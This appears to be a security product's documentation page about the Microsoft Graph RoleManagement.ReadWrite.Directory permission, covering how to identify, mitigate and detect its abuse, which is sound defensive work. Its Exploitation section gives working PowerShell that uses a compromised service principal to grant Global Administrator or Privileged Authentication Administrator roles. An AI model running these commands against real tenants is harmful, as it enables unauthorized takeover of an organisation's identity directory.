> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/azure/az_mg_rolemanagement_readwrite_directory.md).

# AZ\_MG\_ROLEMANAGEMENT\_READWRITE\_DIRECTORY

## Summary

|                               |                                                            |
| ----------------------------- | ---------------------------------------------------------- |
| **FSProtect ACL Alias**       | AZ\_MG\_ROLEMANAGEMENT\_READWRITE\_DIRECTORY               |
| **Entra ID (Azure AD) Alias** | RoleManagement.ReadWrite.Directory                         |
| **Affected Object Types**     | Service Principals, Applications                           |
| **Exploitation Certainty**    | Certain                                                    |
| **Graph Permission / Role**   | Application Permission: RoleManagement.ReadWrite.Directory |

## Description

`AZ_MG_ROLEMANAGEMENT_READWRITE_DIRECTORY` represents a Microsoft Graph application permission that grants **read and write access to Microsoft Entra ID role-based access control (RBAC) settings**. This is one of the most dangerous permissions in Microsoft Entra ID because it allows:

* **Read all directory role templates and definitions** including built-in and custom roles
* **Create, update, and delete custom role definitions**
* **Assign directory roles to users, groups, and service principals**
* **Remove directory role assignments from any principal**
* **Manage Privileged Identity Management (PIM) settings for Microsoft Entra roles**
* **Read and modify role eligibility and active assignments**

This permission is often abused for:

* **Privilege escalation to Global Administrator**: Directly assigning the Global Administrator role to an attacker-controlled account
* **Persistence**: Creating hidden administrative accounts with directory roles
* **Defense evasion**: Removing security team members from security roles
* **Lateral movement**: Granting administrative roles to compromised accounts

**Important**: This is an **application permission** that requires admin consent and is granted to service principals, not individual users. Once granted, the service principal can perform these actions without additional user context.

**Critical Warning**: With `RoleManagement.ReadWrite.Directory`, an application can grant itself or any other principal the **Global Administrator** role, effectively achieving full control over the entire Microsoft Entra ID tenant. This is equivalent to a complete tenant takeover.

**Key Difference from Directory.ReadWrite.All**: While `Directory.ReadWrite.All` allows broad directory object manipulation, it has limitations on role assignments. `RoleManagement.ReadWrite.Directory` is specifically designed for RBAC management and can directly assign any directory role without restrictions.

## Identification

### PowerShell

#### Find Service Principals with RoleManagement.ReadWrite.Directory

```powershell
Install-Module Microsoft.Graph -Scope CurrentUser
Import-Module Microsoft.Graph.Applications

Connect-MgGraph -Scopes "Application.Read.All", "AppRoleAssignment.Read.All"

$permissionId = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"  # RoleManagement.ReadWrite.Directory GUID

# Step 1: Get all service principals with their app role assignments
$allServicePrincipals = Get-MgServicePrincipal -All -Property Id, DisplayName, AppId

Write-Host "Retrieved $($allServicePrincipals.Count) service principals"

# Step 2: Filter for those with RoleManagement.ReadWrite.Directory
$results = @()

foreach ($sp in $allServicePrincipals) {
    $appRoleAssignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -All
    $matchingAssignments = $appRoleAssignments | Where-Object { $_.AppRoleId -eq $permissionId }
    
    foreach ($assignment in $matchingAssignments) {
        $results += [PSCustomObject]@{
            ServicePrincipalName = $sp.DisplayName
            ServicePrincipalId   = $sp.Id
            AppId                = $sp.AppId
            PermissionName       = "RoleManagement.ReadWrite.Directory"
            PermissionId         = $permissionId
            ResourceId           = $assignment.ResourceId
            AssignedDateTime     = $assignment.CreatedDateTime
        }
    }
}

Write-Host "`nFound $($results.Count) service principals with RoleManagement.ReadWrite.Directory"
$results | Export-Csv -Path ".\RoleManagementReadWriteDirectory_ServicePrincipals.csv" -NoTypeInformation -Encoding UTF8
$results | Format-Table -AutoSize
```

## Exploitation

An attacker with access to a service principal that has `RoleManagement.ReadWrite.Directory` can directly assign any directory role to any principal, including Global Administrator.

### Assign Global Administrator Role to Attacker User

```powershell
# Authenticate as the compromised service principal
$tenantId = "<tenant-id>"
$appId = "<compromised-app-id>"
$clientSecret = "<client-secret>"

$secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($appId, $secureSecret)
Connect-MgGraph -ClientSecretCredential $credential -TenantId $tenantId

# Get the Global Administrator role definition
# Global Administrator roleTemplateId: 62e90394-69f5-4237-9190-012177145e10
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10"

# Target user object ID
$userId = "<target-user-object-id>"

# Assign Global Administrator role to the user
$params = @{
    RoleDefinitionId = $globalAdminRoleId
    PrincipalId      = $userId
    DirectoryScopeId = "/"
}

$assignment = New-MgRoleManagementDirectoryRoleAssignment -BodyParameter $params
Write-Output "Role assignment created: $($assignment.Id)"
```

![Global Administrator role](/files/V6bxDsflZlmusB1CVfkQ)

### Assign Privileged Authentication Administrator to Service Principal

```powershell
Import-Module Microsoft.Graph.Identity.Governance

# Privileged Authentication Administrator can reset passwords for any user including Global Admins
$privAuthAdminRoleId = "7be44c8a-adaf-4e2a-84d6-ab2649e08a13"

# Target service principal object ID
$spId = "<target-sp-object-id>"

# Assign Privileged Authentication Administrator role
$params = @{
    RoleDefinitionId = $privAuthAdminRoleId
    PrincipalId      = $spId
    DirectoryScopeId = "/"
}

$assignment = New-MgRoleManagementDirectoryRoleAssignment -BodyParameter $params
Write-Output "Role assignment created: $($assignment.Id)"
```

![Role Assigment to service prinicable name](/files/0tNlkIfofpx8k6J38c1f)

## Mitigation

* **Audit all service principals** with `RoleManagement.ReadWrite.Directory` and remove unnecessary grants.
  * Go to **Microsoft Entra ID** -> **App registrations** -> select the application -> **API permissions**.
  * Remove the `RoleManagement.ReadWrite.Directory` permission if not required.
* **Apply least privilege**: This permission should almost never be granted to applications.
  * Consider using PIM for just-in-time role assignments instead of permanent application permissions.
  * Use delegated permissions with user context when possible.
* **Monitor role assignment changes**:
  * Enable Azure AD audit logs and alert on role assignment changes.
  * Configure Microsoft Defender for Cloud Apps to detect suspicious role modifications.
* **Protect the permission grant process**:
  * Require multiple approvals for granting this permission.
  * Document business justification for any application requiring this permission.
* **Implement Access Reviews** for applications with high-privilege permissions:
  * Go to **Identity Governance** -> **Access Reviews** -> **New access review**.
  * Review applications with sensitive Graph permissions regularly.
* **Use Conditional Access** to restrict service principal access:
  * Limit the locations and conditions under which service principals can authenticate.
  * Consider blocking service principals with this permission from non-trusted locations.

## Detection

Detect permission grants and suspicious role assignment activity in **Audit logs**.

* Go to **Microsoft Entra ID** -> **Audit logs**.
* Filter by activities:
  * **Add app role assignment to service principal** (permission grant)
  * **Add member to role** (directory role assignment)
  * **Remove member from role** (directory role removal)
  * **Add role definition** (custom role creation)

Monitor for suspicious patterns:

* Role assignments made by service principals (especially to sensitive roles like Global Administrator)
* Bulk role assignment changes
* Role assignments outside of change management windows
* Custom role creation with password reset or role management permissions
* Removal of security-related roles from SOC or security team members

## References

* [Microsoft Graph Permissions Reference - RoleManagement.ReadWrite.Directory](https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementreadwritedirectory)
* [Microsoft Graph API - Create unifiedRoleAssignment](https://learn.microsoft.com/en-us/graph/api/rbacapplication-post-roleassignments)
* [Microsoft Graph API - Role Management](https://learn.microsoft.com/en-us/graph/api/resources/rolemanagement)
* [Microsoft Entra Built-in Roles](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
* [Privileged Identity Management for Microsoft Entra Roles](https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure)
* [Securing workload identities with Microsoft Entra ID](https://learn.microsoft.com/en-us/entra/workload-id/workload-identities-overview)
* [BloodHound - AZMGRoleManagement\_ReadWrite\_Directory](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html)
* [ROADtools - Azure AD Exploration Framework](https://github.com/dirkjanm/ROADtools)
